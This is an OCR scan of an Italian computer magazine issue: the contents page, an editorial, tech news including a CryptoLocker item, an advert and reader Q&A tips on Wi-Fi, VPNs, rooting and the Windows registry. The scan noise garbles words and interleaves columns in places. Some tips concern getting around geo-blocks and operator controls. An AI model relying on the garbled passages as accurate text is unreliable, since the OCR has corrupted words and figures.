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Abbiamo analizzato tutto il traffico 
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SmartTV e scoperto che... 
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O Attivare un allarme via SMS per 
monitorare l'accesso al tuo diario 

O Modificare a piacimento 
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D Dire stop agli hacker chiudendo 
la sessione di facebook 
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Scopri come accedervi e scaricare 
18 milioni di brani in alta qualità 


Svelate solo per te tutte le configurazioni unofficial ^■CELLULARI 


INCREDIBILE, 


C A IDEE GENIALI PER DARE 

Avvita alle tue foto 


■ Stampa la tua caricatura 
su un omino L^o 
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in sculture 

s Crea un bassorilievo 
in legno dei tuoi ricordi 


■ Clonati sulle facce 

di un cubo di Rubik 

■ Stampa il Quadro 

del tuo codice genetico 

■ Realizza il calco-ricordo 

con le impronte di tuo figlio 



IL GOOGLE DEI PIRATI 

Così i malintenzionati prendono il controllo 
di qualunque hardware connesso al Web 


VIDEOGIOCA IN ULTRA-HD 

Tutta la verità sulla tecnologia che 
promette di rivoluzionare i videogame 
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Il Google 
dei pirati 


Così i malintenzionati 
prendono il controllo 
di qualunque hardware 
connesso al Web 


WINDOWS PHONE • ANDROID • iOS 

TABLET 

la grande 

GUIDA 

Al via il corso pratico 
da staccare e conservare p 


INTERNET 

42 Trucca la tua linea ADSL 

Le istruzioni e il software'magico' 
per sbloccare i parametri nascosti 
della connessione Internet 

46 Raddoppia la banda dell'ADSL 

Ecco come configurare in un die 
i parametri nascosti della nostra 
connessionea Internet! 

50 Naviga senza limiti con lo 
smartphone 

Le applicazioni e i trucchi per 
raddoppiare i GB mensili di traffico 

52 Internet Key: si sbloccano così 

Ecco come i pirati bypassano le 
limitazioni dellechiavette Internet 

54 SmartTV: le configurazioni 
perfette per il web! 

Samsung, LG, Philips... ecco le 
impostazioni per abilitare i servizi 
Internet sul proprio dispositivo 

55 Trasforma il NAS 
ineMule machine 

La guida per installare un client P2P 
sul disco di rete e avviare download 
al 200% 

56 ADSL 2014; sempre connessi 

Ecco come evolveranno nel 
prossimo anno le tecnologie per 
connettersi ad Internet da PC, 
smartphone e tablet 


network nascondono impostazioni 
nascoste tutte da svelare... 

64 Un sito Web facile per tutti 

Così realizzi il tuo sito Interna gratis: 
paghi solo il costo di registrazione 
del dominio e sei on-line! 

66 Questo sito l'ho fatto io! 

Col tool giusto puoi realizzare e 
pubbi icare on-line un portale 
Internet completo e funzionale 

■ SISTEMA 

68 II pulsante Start 
diWinMagazine 

Attivalo subito per avere tutti gli 
strumenti di Windows sotto... mouse 

72 I segreti dell'UEFI 

È l'evoluzione del BIOS. Senza di lui 
il nostro PC non parte! 

■ ANTIVIRUS&SICUREZZA 

78 Giù le mani dai miei dati! 

Vuoi vendere un PC o un cellulare? 
Ecco come eliminare per sempre i 
dati salvati nei dispositivi 

81 II lato oscuro di Ask.fm 

Le misure contro lo stalking su! 
servizb di domande/rispcste 

82 GlihackercispianodallaTV! 

Abbiamo analizzato il traffeo 
Internet che circola nelle SmartTV e 
scopeto che... 

84 PasswordWeb a portata di die 

Il motore di ricerca che porterebbe ii 
caos nel Mondo... 


■ MASTERIZZAZIONE 

104 Ascolta i tuoi MP3 sull'Hi-Fi 

Realizza una compilation su CD Audio 
da ascoltare in salono o in auto 

■ GRAFICA DIGITALE 

106 30folli idee per le tue foto 

Alla scoperta dei servizi Web più 
stravaganti per stampare i tuoi scatti 
(e non solo) in oggetti reali! 

110 Scanner 3D fatto in casa 

Accendi il Kineae... spegni la Xbox! 
Trasforma il sensore Microsoft in un 
generatore di modelli 3D 

■ AUDIO&VIDEO 

114 18 milioni di MP3 gratis 
sul tuo PC 

Accedi al nuovo servizio Microsoft 
per fare il pieno di musica in HD 

117 Anima le tue foto sulle reti 
social 

Utilizzando l'ultima versione di 
Google Plus puoi dare vita agli scatti 
caricati sulla tua pagina personale 

■ GIOCHI 

118 Giochi: è l'ora dell'ultrahd 

PC e console next-gen sono pronti 
per i giochi in altissima definizione? 
Ecco tutta la verità sulla tecnologia 
4K che promette di rivoluzionare il 
mondo dei videogame 

■ OFFICE 

122 Gli interessi li calcolo col PC! 

Ecco come usare Excel per 
determinare il rendimento de Buoni 
dei Tesoro Pluriennali 


60 Facebook: funzioni non 
documentate 

Dietro bacheche e messaggi, i social 



I Hackeriamo 
I Internet 

t 

j In una sexiietà sempre più informatizzata 
e'connessa” sarebbe impensabile rinun- 
I Giare ad un collegamento a Internet. Sa- 
i rebbe quindi auspicabile che la connes- 
; sione alla Rete avvenga sempre senza 
i alcun intoppo di nessun genere. Purtrop- 
j po, però, non è sempre così; vuoi perché 
j le linee ADSL forniteci dagli operatori 
non mantengono le velocità promes¬ 
se, vuoi perché a volte non prestiamo la 
giusta attenzione alla configurazione del 
nostro computer e del router, la naviga¬ 
zione su Internet può risultare davvero 
snervante! Per evitare che ciò accada 
abbiamo deciso d mettere a punto il 
nostro ADSL Hack Kit 2014 che, grazie 
ai potenti software integrati, permette 
di configurare la nostra connessione a 
Internet in pochi cl c, risolvendo veloce¬ 
mente ogni problema del sistema ope¬ 
rativo, del router e di tutte le periferiche 
che accedono alla Rete. Per scoprire co¬ 
me utilizzarlo al meglio, leggi lo speciale 
di pagina 42.Terminata la configurazione 
e l'ottimizzazione della nostra linea ADSL 
possiamo iniziare a sfruttarla fin da subito 
utilizzando i tanti servizi on-line trattati 
a pagina 106, che ci permetteranno di 
dare nuova vita alle nostre foto stam¬ 
pandole su legno, plastica, stoffa, allumi¬ 
nio, vetro... tutto fuorché su carta! E se 
volessimo decidere di "stampare" in 3D 
il nostro busto? Niente di più semplice: 
basta avere a portata di mano il Kinect, 
il rivoluzionario controller di gioco della 
Xbox 360 e il gioco è fatto! Non ci credi? 
Vai a pagina 110 e troverai una diverten¬ 
tissima sorpresa. 

Buona lettura a tutti 

Paolo Tarsitano 
winmag@edm3ster.it 
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Aggiornamenti e curiosità dai mondo hi-tech 




zie alla bontà delle connessioni a banda 
larga, sono migliorati i servizi, tanto che 
oggi si parla soprattutto di live streaming, 
ovvero della visione di contenuti in diretta. 
L'avvento delle reti 4G/Lte ha reso il tutto 
più interessante per gli operatori televisivi, 
che possono ora fornire ai propri utenti, in 
mobilità, contenuti video di qualità elevata. 
A spingere le emittenti televisive sul Web 
sono però anche gli impietosi dati relativi 
agli ascolti della nuove generazioni: le nuo¬ 
ve leve di spettatori sembrano essere poco 
interessate alla TV tradizionale, alla quale 
preferiscono il Web. A ciò va aggiunto che 
le persone adulte apprezzano sempre più 
la possibilità di godere dei contenuti (per i 
quali si è pagato un abbonamento) anche 
quando ci si sposta per lavoro o per vacanza. 


I l 2013 ha sancito, semmai ce ne fosse sta¬ 
to bisogno, il successo delle cosiddette 
Web TV. In particolare, ad impressionare 
sono stati soprattutto i dati relativi al traffico 
Web generato da servizi di streaming come 
NetFlix: roba da far impallidire persino mostri 
sacri come Google e Facebook. Il successo 
della formula offerta da NefFlix, ovvero lo 
streaming on demand di film a prezzo equo, 
è tale che pare addirittura avere influito dra¬ 
sticamente sulla pirateria digitale: perché 
scaricare illegalmente un film se posso vi¬ 
sionarlo quando voglio per pochi spiccioli? 


Stasera mi guardo il Web 

Sulla scìa di NetFlix sono nati molti servi¬ 
zi simili, anche in italia. Man mano che la 
tecnologia si è evoluta, soprattutto gra- 


TV digitale: alla 
conquista deiWeb 

Dopo il passaggio al digitale terrestre, le TV 
tradizionali stanno sempre più migrando su Internet, 
nuova frontiera dei contenuti televisivi 


Rai, Medìaset, Sky: la TV on demant 


RAINEWS.IT: 

tutta l'informazione Ra! ir. vr. canale 
Allabasedi '.■• o'riews.it, in 
Rai .tv funzione dalIT dicembre 2013, 

_ troviamo ia redazione Internet 

di Rainews24, con nuovi giornalisti e una nuova 
linea. Con Rainews.it, l'informazione sì arricchi¬ 
sce di un nuovo strumento, per di più pubblico. 
Nel nuovo servizio on-line troviamo notizie in 
tempo reale, rubriche, approfondimenti e spe¬ 
ciali. I maggiori eventi della giornata possono 
essere seguiti in diretta grazie a tre canali di 
live stream. Attraverso le rubriche tematiche 
e le sezioni video è invece possibile rivedere 
il meglio della programmazione Rai. 


medìaset 


PREMIUIVl INFINITY; 

il meglio dei contenuti Medìaset 

Il lancio è avvenuto l'il 
dicembre. Premium In- 
finity è un servizio in abbonamento che pre¬ 
vede la visione illimitata di film e contenuti ad 
un prezzo inferiore ai 10 euro mensili. Il costo 
viene scalato da una specie di carta prepagata. 
Nessun vincolo, nessun contratto e accesso 
diretto a contenuti non sempre recenti ma 
visibili anche con traccia audio originale e, dove 
previsto, in HD. Infinity gira su oltre 20 device, 
anche se ci sono problemi con l'integrazione 
nelle TV. Per funzionare su SmartTV, necessita 
di un bollino Gold con sistema DRM Marlin. 


sky^ 


SKY: con diver oioia d'ar ici 

Oltre a SkyGo, che già permette 
a 2 milioni di abbonati di fruire 
di contenuti in mobilità su smar¬ 
tphone e tablet, oltre alle dirette streaming 
in simulcast (SkyTg24), Sky vuole puntare su 
River, una selezione di contenuti a pagamento 
sempre disponibile on-line. Il progetto, ancora 
in evoluzione, potrebbe sbarcare sul Web già 
nei primi mesi del 2014. River (se il nome sarà 
mantenuto) sarà la versione italiana di NowTv, 
la piattaforma on-line di News Corp inaugurata 
nell'estate del 2012. Nessun abbonamento, pa¬ 
rabola e decoder: l'utente si registra e acquista 
un "biglietto" per accedere ai contenuti via Web. 
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Più scelta per tutti 



Per intercettare la crescente domanda di contenuti su 
dispositivi capaci di connettersi a Internet, gli opera¬ 
tori televisivi stanno sempre più infoltendo la propria 
offerta on-line. La Rai ha già profuso uno sforzo enor¬ 
me per mettere on-line le dirette televisive di molti 
dei suoi canali, alle quali ha aggiunto la possibilità di 
visionare alcune repliche (Replay). Anche Mediaset si 
è data da fare, fornendo ai propri utenti la possibilità 
di visionare le repliche del suo palinsesto, oltre che 
di accedere ai contenuti on demand (a pagamento), 
dando la possibilità di farlo persino attraverso app 
dedicate alla maggior parte dei dispositivi mobili 
(smartphone e tablet). Sky non è stata da meno, con il 
suo servizio SkyGo, capace di riversare il 
palinsesto dei suoi programmi 
su PC, tablet o smartphone. 
Sempre nella stessa direzione 
si è mossa La7, che fornisce la 
possibilità di fruire della diretta 
dei programmi attraverso la 
Rete, oltre che di visionare alcu¬ 
ne repliche. Lo sforzo dei prin¬ 
cipali operatori della TV italiana 
prosegue ora con nuovi servizi 
ancora più ricchi e interessanti, 
volti a catturare l’attenzione 
degli utenti Internet, con la pos¬ 
sibilità di offrire loro 
un servizio ancora 
più personalizza¬ 
to e completo. 


portata di die 

il dgitóeterreiiie d Web 

^ , Nato in sordina, sta pian piano riscuo- 

'^froomif tendo un notevole successo la propo- 

. rwuw/iv I- 

_ _ stadiStreamit(hr3::.7Uv.v.v.r.)perla 

creazione di un "ponte" di comunicazione destinato agli 
operatori televisivi già operanti sul digitale terrestre. Al 
servizio hanno già aderito oltre 30 emittenti. Streamit 
trasmette gratuitamente per un anno i canali degli edi¬ 
tori televisivi locali, regionali e nazionali, con lo scopo di 
mostrare loro le potenzialità della piattaforma digitale, 
ovvero la possibilità di affiancare strumenti trasmissivi 
come il video on demand e la pay per vie\w, e persino la 
pubblicità. Grazie a Internet, infatti, queste TV possono 
raggiungere la propria utenza anche in mobilità, oltre 
che rafforzare la copertura del segnale digitale. 


WìnAMP chiude 
dopo 15 anni! 

Sembra però che Microsoft voglia rilevare il player, anche 
se non si conoscono ancora le finalità dell'operazione 

A gl ha annunciato a fine novembre sata al servizio di streaming Shouteast 
scorso la chiusura di Winamp, il player offerto da Winamp, oltre ai brevetti. Non 
MP3 più diffuso alla fine degli Anni 90 si conosce quale futuro abbia pensato 
(•.,.. Col tempo, la sua Microsoft per Winamp e quali siano le 

popolarità era svanita, soprattutto per i finalità dell'accordo con AGL. Gli utenti 
differenti approcci di ascolto che si sono in possesso dell'applicazione potranno 
man mano creati nel settore della musi- comunque continuare ad usare il playere 
ca digitale. TechCrunch ha però parlato aggiornarlo con correzioni di bug, nuove 
di alcune trattative, non confermate uf- skin e nuovi plug-in. Resteranno delusi gli 
ficialmente, che vedrebbero Microsoft utenti che speravano nella pubblicazione 
interessata nell'acquisizione del player, dei codici sorgenti, nella speranza di poter 
Pare che la casa di Redmond sia interes- rilasciarne una versione con licenza GPL. 


■ Dopo tanti anni 
di onorata carriera 
il famoso player MP3 
Winamp chiude! Ma c’è 
già Microsoft interessata 
ad acquisirlo per sfruttarne 
le tecnologie. 
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Bitcoin troppo cari: il 
maiware ti ra lo sconto! 


C ryptoLockerè un complesso e famoso 
maiware che arriva via e-mail, tramite 
finti PDF compressi in un archivio ZIP. Una 
volta infettati, ci si ritrova davanti ad un 
messaggio che ci intima di pagare una 
certa somrra per ripristinare i nostri file 
(documenti, foto, video ecc.) resi inacces¬ 
sibili mediante la codifica con un sistema 
di crittografia asimmetrica. La particolari¬ 
tà è che tale somma andrebbe saldata in 
Bitcoin, la famosa moneta virtuale molto 
usata nel Deep Web (ne abbiamo parlato su 
Win Magazine 182). Analizzando le scher¬ 
mate del virus, però, si può notare come il 
riscatto in Bitcoin (httpy/bitcoin.org) sia no¬ 
tevolmente sceso. Il perché è presto detto. 
Il Bitcoin non è ancora una moneta stabile 
e ciò determina forti oscillazione del suo 
valore. Gli hacker hanno "generosamente" 


deciso di scontare la somma richiesta per 
la decrittazione dei file, passando da 2 a 
mezzo Bitcoin. Inizialmente, si trattava di 
pagare una somma di 2(X) dollari, circa. Nel 
tempo, la decodifica era arrivata a costare 
ben 700 dollari al cambio, cifra divenuta 
fuori mercato persino per gli stessi hacker! 



■ Il virus CryptoLocker chiede un riscatto da 
pagare in Bitcoin per sbloccare I PC delle vittime. 
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MASSIMA FLESSIBILITÀ 
PER I TUOI PROGEnt WEB 





Le Poste portano la banda 
in tutta Italia 


larga 


Siglato un accordo tra Poste ed Eutelsat per eliminare il 
digitai divide nella penisola con connessioni via satellite 
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JUnO INCLUSO 

■ Dominio gratuito (.it, .com, .net, 

.org, .info, .eu) 

■ Potenza illimitata: spazio web, traffico, 
account e-mail, database MySQL 

■ Sistema operativo Linux o Windows 

^PP AD ALTE PRESTAZIONI 

■ Più di 140 popolari applicazioni 
(Drupal", WordPress, Joomla! ', 

Typo3, Magento '...) 

■ Supporto di esperti per ogni domanda 

J^OTENTI TOOL 

■ Software Premium inclusi: 

Adobe ' Dreamweaver^ CS5.5 
e NetObjects Fusion* 2013 

■ 1&1 Mobile Site Builder 

■ PHP 5.4, Perl, Python, Ruby 

JVIARKETING DI SUCCESSO 

■ 1&1 Strumento SEO 

■ 1&1 Newsletter Tool 

■ 1&1 SiteAnalytTcs 

JECNOLOGIA ALL'AVANGUARDIA 

■ Massima disponibilità (georidondanza) 

■ Connettività di oltre 300 Gbit/s 

■ Fino a 2 GB di RAM garantiti 

■ 1&1 CDN powered by CloudFlare 




1and1.it 


P oste Italiane si affida al 
servizio satellitare Too- 
way di Eutelsat (www.eutel- 
sat.it) per eliminare il digitai 
divide in tutta Italia. L'accor¬ 
do siglato tra le due società, 
come riferisce Poste Italiane 
in una nota, "contribuirà in 
modo fondamentale alla di¬ 
gitalizzazione del Paese e alla 
riduzione del divario digitale 
in Italia, attraverso la com¬ 
mercializzazione del servizio 
di banda larga via satellite 
tooway". Il servizio Tooway 
verrà offerto da Poste Mobile 
attraverso la propria rete di 



uffici postali e di venditori, 
con l'obiettivo di servire, a 
partire da gennaio 2014, le 
aree ancora prive di 
servizi a banda 
larga. Too¬ 
way opera 
in connes¬ 
sione con il satel¬ 
lite Eutelsat Ka-Sat, dando la 
possibilità agli utenti di con¬ 
nettersi a Internet e raggiun¬ 
gere velocità di 20 e 6 Mbps, 
rispettivamente in download 
e upload. È richiesta l'installa¬ 
zione di una piccola parabola 
e di un modem satellitare da 


connettere al computer. 
La parabola fornita da To¬ 
oway offre anche funzioni 
di televisione multicanale 
e per chiamate VolP (triple 
play), oltre che per la crea¬ 
zione di una rete wireless 
domestica. 





sua prepagata 

G OOgleWallet(^.;p. i ; )con- 

sente già di fare acquisti con il proprio smartphone, grazie 
ad un'app. Google ha però deciso di mettere a disposizione 
degli utenti USA, per il momento, una carta di debito con cui 
fare acquisti e prelevare contanti dagli ATM. La carta permette 
agli utenti di Google Wallet di accedere ai soldi disponibili sul 
proprio account e potrà essere usata in attività che accettano 
carte MasterCard. Non è previsto alcun canone. L'uso della 
carta Google espone però gli utenti a nuovi rischi sulla privacy, 
i dati relativi alle transazioni (descrizione dei beni acquistati, 
ammontare delle transazioni ecc.) saranno infatti consen/ati 
nel profilo dell'utente e usati per indirizzare la pubblicità. 


CHROMEBOOK 

MEHEIL 

TOUCHSCREEN 

Il nuovo Chromebook C720P 
di Acer (www.acer.com), già 
disponibile negli USA al prez¬ 
zo di 300 dollari, introduce 
uno schermo multitouch che 
si aggiunge al touchpad, per 
rendere Chrome OS (www. 
google.com) più intuitivo e 
pratico da usare. Il modello 
costa so dollari in più rispet¬ 
to a quello privo di schermo 
touch. 

XBOXCENSURA 
GLI UTENTI 
VOLGARI 

Microsoft ha censurato alcu¬ 
ni utenti di Xbox One (www. 
xbox.com), rei di aver carica¬ 
to su Xbox Live alcuni video 
con commenti volgari. I gio¬ 
catori incolpati non hanno 
potuto usare le funzioni di 
comunicazione vocale della 
console per 24 ore. Secondo 
la casa di Redmond, i com¬ 
portamenti incriminati viola¬ 
no gli accordi con l'utente. 
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Mailbox 


Inviaci le tue domande: faremo di tutto per aiutarti! 
Scopri gii indirizzi e-maii delia redazione a pag. 14 
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Con WiFì Profìle Manager 8 possiamo gestire facilmente la priorità delle 
connessioni Wi-Fi In Windows 8. 



.. 

GESTIRE lE reti m T'I 
IN WINDOWS 8 

Ho da poco acquistato un PC 
con Windows 8. In azienda 
dove lavoro sono disponibili 
più reti Wi-Fi. Col mio prece¬ 
dente computer che utilizza¬ 
va Windows 7 era disponibiie 
ia finestra Gestisci reti wireless 
che mi permetteva di imposta¬ 
re la priorità deila rete senza 
fili cui connettermi; nei nuovo 
sistema operativo Microsoft 
non riesco a trovarla. Potete 
dirmi come fare? 

Marco 

In Windows 8 non è più disponi¬ 
bile la finestra dalla quale coor¬ 
dinare le priorità delle reti Wi-Fi. 


f' ‘u "iì ft >1 


In altre parole è il sistema a ge¬ 
stire il tutto in modo compieta- 
mente trasparente all'utente. Nel 
caso fossero attive sul computer 
sia una connessione Ethernet sia 
una Wi-Fi, il sistema prediligerà 
sempre la prima, dandogli priorità 
su tutto. Nel caso, invece, ci tro¬ 
vassimo in presenza solo di con¬ 
nessioni Wi-Fi, Windows si con¬ 
netterà per prima all'ultima rete 
attiva. In altre parole, se mentre 
siamo connessi in Wi-Fi ad una 
rete ci connettessimo manual¬ 
mente ad un'altra, il sistema as- 
segnebbe una priorità maggiore 
a quest'ultima. È possibile comun¬ 
que gestire le priorità delle reti Wi- 
Fi attraverso un piccolo tool gra¬ 
tuito come WiFi Profile Manager 


8 (sezione Internet del Win CD/ 
DVD-Rom). Per procedere, scom¬ 
pattiamo il file WFPM8.zip e fac¬ 
ciamo doppio clic sul file WiFi8. 
exe presente all'interno dell'ar¬ 
chivio. Il tool non necessita di in¬ 
stallazione e, dopo essere stato 
avviato, mostra l'elenco delle reti 
Wi-Fi configurate sul PC. Facendo 
clic col tasto destro su una rete 


è possibile modificarne l'ordine 
di priorità verso l'alto o verso il 
basso. Selezionando invece Pro- 
perties è possibile accedere alle 
proprietà della connessione tra 
cui visualizzare la chiave di pro¬ 
tezione del Wi-Fi memorizzata. 

WIR profìle MANAGER 8 ' 

Coitovi siiti. ;WEB .►'CO VDVD 


POSiO CONDIVÌDER! 


.A COHHESSÌOHf ÌW 


A casa non dispongo di una rete Internet 
fissa, ma ho acquistato la classica Inter¬ 
net key da utilizzare con un operatore 
telefonico. Ora ho però la necessità di 
poter connettere contemporaneamente 
più di un computer alla chiavetta. Esiste 
un metodo semplice e quasi automatico 
adatto allo scopo? 

Vittorio 

Per poter condividere una connessione tra¬ 
mite chiavetta con più dispositivi (comprese 
anche console di gioco, smartphone, TV ecc.) 
puoi utilizzare il programma gratuito per 
Windows Wi-Host (sezione Internet de\ Win 
CD/DVD-Rom). Una volta scompattato il soft¬ 
ware avremo due cartelle, a seconda del si¬ 
stema operativo in possesso. Dopo aver clic- 
cato sul file Wi-Fi Host.exe (potremmo do¬ 
verlo avviare in modalità Amministratore), 
selezioniamo il comando Menu in alto a si¬ 
nistra e poi Setup New Hosted Network. 
Qui dovremo solamente inserire l'SSID (cioè 
il nome pubblico della rete) e la chiave da 
utilizzare per proteggere la connessione 


da estranei (il tipo di protezione è di de¬ 
fault WPA2). Ora clicchiamo in basso a si¬ 
nistra il pulsante Setup Hosted Network e, 
nella finestra successiva, premiamo OK. Nella 
nuova finestra premiamo Sì (ci viene chiesto 
se attivare la connessione) e nella successiva 


veniamo informati che dobbiamo condivi¬ 
dere la connessione (nel nostro caso con la 
chiavetta, ma potrebbe essere qualsiasi con¬ 
nessione). Premiamo il pulsante Open Net¬ 
work Connections, selezioniamo la connes¬ 
sione attiva (ad esempio Rete Locale Lan) 
col tasto destro del mouse 
e poi clicchiamo sulla voce 
Proprietà. Nel secondo tab a 
destra selezioniamo Condi¬ 
visione e mettiamo il segno 
di spunta a tutte e due le 
voci presenti (ci verrà chiesto 
con quale connessione con¬ 
dividerla, noi selezioniamo 
la nostra rete locale). Chiu¬ 
diamo la finestra, ritorniamo 
al programma e nella fine¬ 
stra precedente premiamo 
OK: ora possiamo utilizzare 
la connessione con qualsiasi 
dispositivo vogliamo. 

WI-HOST 

Lo trovi sul L WEB ;^C0 i*?DVD 



Dopo aver inserito il nome della rete virtuale e aver creato la 
password per evitare che intrusi utilizzino la connessione, premiamo 
il tasto Setup Network per renderla effettiva. 


Per facilitare la lettura degli indirizzi Internet riportati nel testo, abbiamo utilizzato la notazione T-URL: basta riportare 
nel browser l'indirizzo indicato nella forma www.winmagazinejt/link/numero per essere reindirizzati sul sito originale. 
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CARAHERI TROPPO 
PICCOLI SUL WEB 

Ho acquistato un notebook 
con un display da 15 polli¬ 
ci Full HD con Windows 8. La 
risoluzione del display mi per¬ 
mette di visualizzare molte 
più informazioni sul monitor 
e mi garantisce un dettaglio 
più elevato con le immagini. 
Quando navigo sul Web, però, 
i font troppo piccoli diventano 
un problema. Per il testo visua¬ 
lizzato nelle pagine Internet 
non ho problemi, perché pos¬ 
so modificare velocemente la 
dimensione con i tasti CTRL+ 
e CTRL-, ma la barra degli indi¬ 
rizzi rimane sempre uguale. 
Potete dirmi come modificare 
il font anche nelle varie barre 
delle applicazioni come Inter¬ 
net Explorer? 

Olivia 

Per modificare il font nelle pagine 
Internet, oltre al modo indicato, si 
può anche utilizzare la rotellina 
del mouse tenendo premuto il 


tasto Ctrl. Questo però non agirà 
anche sulla dimensione dei carat¬ 
teri mostrati nella barra degli in¬ 
dirizzi e nelle barre delle altre ap¬ 
plicazioni. Per modificare invece 
il font in Windows 8, accedi alla 
modalità Desktop, clicca col ta¬ 
sto destro in un'area libera dello 
schermo e seleziona Risoluzione 
dello schermo. Clicca quindi su 
Ingrandisci o riduci dimensioni 
di testo e altri elementi e poi su 


Opzioni dimensioni personaliz¬ 
zate. Dal menu a scomparsa Di¬ 
mensioni in percentuale delle 
dimensioni normali seleziona la 
percentuale più alta per aumen¬ 
tare la dimensione del font in 
base alle tue preferenze. Clicca 
su OK per confermare e poi su Ap¬ 
plica. Perché le modifiche ven¬ 
gano applicate sarà necessario 
disconnettersi e poi riconnettersi 
a Windows. 


Opzioni dimensioni personalizzate llji 

Per cambiare le dimensioni di tutti gli elementi sul desictop, selezionare 
un valore percentuale dall'elenco o trascinare il righello. 


Dimensioni in percentuale delle dimensioni normali: 


0 1 2 


Il50%| 

E, 

|ioo% 

r 

|l25% 

_J 

150% ì 

|200% 



9 punti Segoe Ul. 


' I monitor piccoli che offrono una risoluzione elevata possono compromettere 
la leggibilità del testo in Windows 8 ed è necessario modificare il font dalle 


opzioni personalizzate. 


'i; 


Sono un appassionato di 
Farmville e mi piacerebbe 
sapere se esiste un metodo 
che mi permetta di racco¬ 
gliere quello che semino in 
automatico, senza dovermi 
collegare tante volte duran¬ 
te la giornata. 

Farmville, come altri giochi si¬ 
mili che si possono trovare su 
Facebook, vive la propria esi¬ 
stenza sul raccogliere le ri¬ 
sorse e rivenderle per acqui¬ 
stare nuove risorse da utilizzare 
nel gioco. Se vuoi eseguire au¬ 
tomaticamente le operazioni 
ripetitive del gioco, ti consi¬ 
gliamo Mouse Controller (se¬ 
zione Internet de\ Win CD/DVD- 
Rom). Si tratta di un piccolo pro¬ 
gramma che permette di regi¬ 
strare le operazioni del mouse 
in modo da ripeterle in auto¬ 
matico ad ogni lasso di tempo. 



IL MAGO DEI CELLULARI 

RISPONDE... 


COME MODIFICARE 
ILGALAXYS4 

Ho acquistato un Samsung 
Galaxy 54 con garanzia italia¬ 
na ma vorrei eliminare alcuni 
programmi di sistema che non 
mi piacciono e mi rallentano le 
operazioni. Ho i permessi di 
root: che programmi mi con¬ 
sigliate per fare pulizie senza 
combinare danni? 

Alfredo 

Per eseguire delle modifiche sul 
tuo terminale è preferibile instal¬ 
lare prima un tool di recovery, in 
modo che, se qualcosa dovesse 
andare storto, ti sarà possibile 
recuperare comunque lo smart¬ 
phone. Nel PlayStore cerca l'app 
Rom Manager e installala se¬ 
guendo la semplice procedura 


lockuorkHocI Recovery v3.<>.0.b 

rToool 'r, t-*:» now 
opp y tip ' le ro» ’r.nr 

- wipe dato/frtclory reset 
wlpe cache parlilloit 

- tnr.lrtll zip fro« sHcard 

- backup nnri rcntore 
■ounLb and Storage 
flfivanced 

- ++Iv*Go Back'•» " 


>lockuorkHod Recovery v3.0.0.b 


■ Prima di apportare modifiche ai 
proprio smartphone è consigliabile 
installare un tool di recovery da usare 
in caso di emergenza. 


guidata. Avviato il programma e 
autorizzati i permessi di root, se¬ 
leziona ClockworkMod Recovery 
e segui le indicazioni mostrate a 
video. Durante questa fase sele¬ 
ziona la recovery ClockworkMod 
Touch e prosegui. Una volta scari¬ 
cato e installato il pacchetto, avrai 
la tua nuova recovery pronta ad 
entrare in azione in casi di emer¬ 
genza. Eseguita questa procedura 
cerca sempre sul Play Stare an¬ 
che l'applicazione RootApp De- 
lete. Dopo aver installato ed ese¬ 
guito l'app, potrai controllare le 
applicazioni personali e quelle di 
sistema, riuscendo a disinstallarle 
senza problemi. 


CAMUFFARE 
L'INDIRIZZO IP 
CON ANDROID 

Ho la necessità di navigare 
con il mio tablet Android su 
alcuni siti Web. Questi, però, 
impediscono la navigazione se 
non si dispone di un indirizzo 


IP statunitense. Come pos¬ 
so fare per superare questa 
limitazione? 

Ludovico 

Puoi installare dal PlayStore l'ap¬ 
plicazione Hotspot Shield VPN 
far Android. Gratuita (anche se 
con limitazioni) e molto semplice 
da usare, permette non solo di 
navigare nei siti dove ci sono re¬ 
strizioni in base al Paese, ma con¬ 
sente di eludere i controlli degli 
operatori per quanto riguarda il 
VolP. Al primo avvio ci verrà chie¬ 
sto di creare un account gratu¬ 
ito. Inserite e-mail e password, 
premiamo sul tasto Create Ac¬ 
count. Quando vogliamo che il 
programma camuffì il nostro in¬ 
dirizzo IP non dobbiamo fare altro 
che premere il pulsante Protect 
my connection e aspettare che 
l'icona nella barra di stato diventi 
verde. Come uniche controindi¬ 
cazioni avremo la connessione 
un po' più lenta e visualizzeremo 
dei banner pubblicitari. 
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«« L'ESPERTO DI SISTEMA 
•ir RISPONDE... 


FILE NASCOSTI 
IN WINDOWS 8 

Dove posso trovare i program¬ 
mi di sistema come Risorse del 
Computer e Task manager? 

Chicca 

Puoi avere accesso a questi pro¬ 
grammi tramite la funzione Cer¬ 
ca, attivabile premendo Win+W, 
anche se i nomi sono un po' diversi 
rispetto al passato. Puoi fare appa¬ 
rire come tile tutti gli strumenti di 
sistema usando la combinazione di 
tasti Win+I, cliccare su vari riqua¬ 
dri e poi sull'interruttore che trovi 
sotto la scritta Mostra strumenti 
di amministrazione. 

CAMBIARE 
L'ASSOCIAZIONE 
DEI PROGRAMMI 

Posseggo un PC desktop su 
cui è installato Windows 7 
Home Edition. Posso rimuo¬ 
vere manualmente i program¬ 
mi associati alla voce Apri con 
nel menu contestuale del tasto 
destro del mouse? 

Italo 

Si, puoi farlo seguendo una sem¬ 
plice procedura, identica anche 
per le varie versioni di Windows XP. 
Premi il tasto Win, digita regedit 
nel campo di ricerca e premi Invio, 
confermando poi con un clic su Si. 
Nella finestra principale dell'editor 


del registro clicca due volte sulla 
chiave HKEY_CURRENT_USER, 
Software, Microsoft, Windows, 
CurrentVersion, Explorer, FileExts 
e cerca l'estensione del file deside¬ 
rato, ad esempio .jpg. Con un clic 
su OpenWithList potrai vedere il 
programma che verrà proposto 
nella voce di menu Apri con. Per 
rimuoverne uno clicca su di esso 
con il tasto destro del mouse e sce¬ 
gli Elimina confermando con Si. il 
software collegato a quella parti¬ 
colare estensione non verrà più 
proposto. 

RISORSE SU 

FARMVILLEIN 

AUTOMATICO 

Ho Windows 8 sia sul desktop 
sia sul notebook. C'è un modo 
per sincronizzare le app 
installate? 

Livio 

Certo, ma soltanto se utilizzi lo 
stesso account Microsoft su en¬ 
trambi ì computer. Accedi al PC, 
avvia VAppStoree utilizza la com¬ 
binazione di tasti Win+Z. Adesso 
clicca su Le tue app per far compa¬ 
rire tutte le App, installate sul note¬ 
book ma non sul PC desktop. Evi¬ 
denzia quelle desiderate e clicca 
sul pulsante Installa. Fai la stessa 
cosa sull'altro computer e avrai le 
tue app preferite installate su en¬ 
trambi i sistemi. 




Nome 


**►) (Predefintto) 


Tipo 

REG.SZ 


BEG SZ 




Modifica-. 

Modifica dati binari... 

Elimina 

Rinomina 


Dati 

(valore n 
nnspaint. 
a 


■ Cambiando una chiave del registro di configurazione di Windows è possibile 
modificare le voci del menu contestuale associato al tasto destro del mouse. 



